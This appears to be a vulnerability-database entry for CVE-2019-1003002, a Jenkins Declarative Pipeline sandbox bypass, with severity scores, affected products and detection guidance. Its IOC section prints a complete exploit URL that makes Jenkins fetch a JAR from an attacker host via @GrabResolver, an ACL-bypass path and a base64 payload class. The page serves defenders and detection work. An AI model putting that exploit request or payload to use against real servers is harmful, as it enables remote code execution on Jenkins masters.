cbcvebase.
CVE-2019-1003002
published 2019-01-22

CVE-2019-1003002: A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipel…

PriorityP279high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
81.55%
99.6th percentile
A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipeline/modeldefinition/parser/Converter.groovy that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.

Affected

6 ranges
VendorProductVersion rangeFixed in
jenkinsdeclarative_plugin
jenkinsgroovy_plugin
jenkinspipeline<= 1.3.3
jenkinsscript_security_plugin
jenkins_projectpipeline_declarative_plugin
redhatopenshift_container_platform

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
pathMETA-INF/services/org.codehaus.groovy.plugins.Runners
filenamepoc-1.jar
otherContent-Type: application/java-archive (payload JAR delivery)
bytes
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwALAAAA
  • Detect exploitation attempts by monitoring HTTP requests to the Jenkins checkScriptCompile endpoint containing @Grab, @GrabResolver, or @GrabConfig annotations in the 'value' parameter — these are the AST-transforming annotations used to trigger the sandbox bypass.
  • Alert on HTTP GET/POST requests to the path pattern */descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile with query parameters containing @Grab or @GrabResolver strings.
  • Monitor Jenkins master outbound HTTP connections to external hosts fetching .jar files — the exploit causes Jenkins/Groovy/Ivy to fetch a malicious JAR over plain HTTP. The JAR path follows the pattern /<vendor>/<app>/<version>/<app>-<version>.jar.
  • Look for creation of files under $HOME/.groovy/grapes/ on the Jenkins master filesystem, which is where the malicious Grape/Ivy-fetched JAR artifacts are cached after exploitation.
  • Inspect JAR files served to Jenkins for the presence of META-INF/services/org.codehaus.groovy.plugins.Runners — this service-loader file is the mechanism used to execute the malicious payload class.
  • The Metasploit module uses the X-Jenkins response header to fingerprint the target version; defenders can use the presence of this header combined with version <= 2.137 as a signal that the host may be targeted.
  • ·Both the pipeline validation REST APIs AND actual script/pipeline execution are affected — patching must cover both code paths, not just the UI validation endpoint.
  • ·The vulnerability is exploitable by users with only Overall/Read permission, meaning it is not limited to administrators or users with job-creation rights.
  • ·The Metasploit module deliberately avoids randomizing the username segment ('admin') in the ACL bypass path due to a separate known issue (CVE-2018-1000408); detection rules should not rely on a variable username in that path segment.
  • ·The exploit's HTTP file server responds with a bogus text response to any URI that does not match the exact payload JAR path, and returns 404 for HEAD requests to non-payload URIs — network-level detection should focus on the specific JAR fetch pattern, not generic HTTP traffic.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.